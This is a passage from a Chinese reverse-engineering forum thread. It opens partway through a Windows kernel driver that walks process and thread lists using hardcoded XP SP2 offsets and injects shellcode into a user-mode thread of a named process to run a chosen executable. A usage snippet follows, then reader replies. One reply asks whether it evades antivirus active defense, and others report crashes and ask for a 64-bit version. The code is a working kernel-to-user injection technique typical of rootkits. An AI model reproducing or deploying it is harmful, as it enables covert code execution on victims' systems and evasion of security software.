		if ( !_strnicmp((char*)pProcess + g_EProcessOffset.wOffsetName/*0x174*/, strProc, len) ) 
		{
			DbgPrint("find process\n");
			pThListHead = (PLIST_ENTRY)((ULONG)pProcess + /*0x190*/g_EProcessOffset.wOffsetThreadListHead);		// ThreadListHead, XP SP2
			pThNextEntry = pThListHead->Flink;
			while ( pThNextEntry != pThListHead) 
			{
				// 接着查找符合条件的线程


				pThread = (PETHREAD)((ULONG)pThNextEntry - /*0x22c*/g_KThreadOffset.wOffsetThreadListEntry);		// ThreadListEntry, XP SP2

				SuspendCount = *(PUCHAR)((ULONG)pThread + /*0x1b9*/g_KThreadOffset.wOffsetSuspendCount);
				CrossThreadFlags = *(PULONG)((ULONG)pThread + /*0x248*/g_KThreadOffset.wOffsetCrossThreadFlags);

				if( !SuspendCount && (CrossThreadFlags & PS_CROSS_THREAD_FLAGS_SYSTEM) == 0 ) 
				{		
					// 非Suspend,非退出态,非内核线程
					DbgPrint("find thread\n");

					// 注入找到的线程
					InjectShellCode(pThread,pProcess); 
					return TRUE;
					break;
				}
				pThNextEntry = pThNextEntry->Flink;
			}
			break;
		}
		pNextEntry = pNextEntry->Flink;
	} while(pNextEntry != pListHead);
	return FALSE;
}

/************************************************************************/
/*						从内核中注入RING3线程 
						运行我们指定的EXE程序
						strProc 为要注入的进程
*/
/************************************************************************/
BOOLEAN RunMyProcess(char* strProc, int len)
{
	

	if ( !FindFunc() ) 
	{
		DbgPrint("Find KexxxThread failed!\n");
		return FALSE;
	}

	if (  !Inject(strProc, strlen(strProc)) )
	{
		KdPrint(("Inject failed\n"));
		return FALSE;
	}
	return TRUE;
}


#endif


调用方法
InitEProcessInfo();
	if ( RunMyProcess(strProc, strlen(strProc)) )
	{
		KdPrint(("run proc suc!\n"));
	}

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (16)
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
2
又见到楼主了。= =怎么说好呢。
2014-2-23 14:41
0
雪    币: 19
活跃值: (1086)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
大神 问一下irp->MdlAddress 这个成员变量可以指定新的吗
2014-2-23 15:02
0
雪    币: 3279
活跃值: (1997)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
不知道大牛发的什么,街边擦皮鞋的小菜完全看不懂。
2014-2-23 15:14
0
雪    币: 77
活跃值: (48)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
顶一下,顶顶
2014-3-3 09:21
0
雪    币: 102
活跃值: (97)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
[QUOTE=iceway;1263132]/***************************************************************************************

*
*    模块: InjectRing3 [sys module]
*
*    平台: Windows ...[/QUOTE]

这个能过主动防御吗?
2014-3-10 21:43
0
雪    币: 293
活跃值: (287)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
一看标题,以为32位64位通杀,果断点进来看看
2014-3-11 09:14
0
雪    币: 40
活跃值: (712)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
- -不推荐硬编码
2014-3-22 17:03
0
雪    币: 19
活跃值: (130)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
9
代码中的 shutdown_param
怎么没有定义?
2014-6-7 19:44
0
雪    币: 11
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
要xxoo64位的得改rip不是eip
2014-6-7 19:50
0
雪    币: 19
活跃值: (1086)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
我自定义的 自己可以删除
2014-6-8 00:07
0
雪    币: 19
活跃值: (130)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
12
我在调试你的代码,结果在xp中蓝屏了。
2014-6-8 00:13
0
雪    币: 2375
活跃值: (433)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
Ring0 3啥意思?
2014-6-10 14:25
0
雪    币: 190
活跃值: (84)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
楼主  发一个64位的   如何?~~ ^o^
2014-11-5 22:44
0
雪    币: 163
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
Mark
2014-11-6 01:53
0
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
16
路过,谢谢分享
2014-11-6 02:28
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
mark
2014-12-3 12:55
0
游客
登录 | 注册 方可回帖
返回
//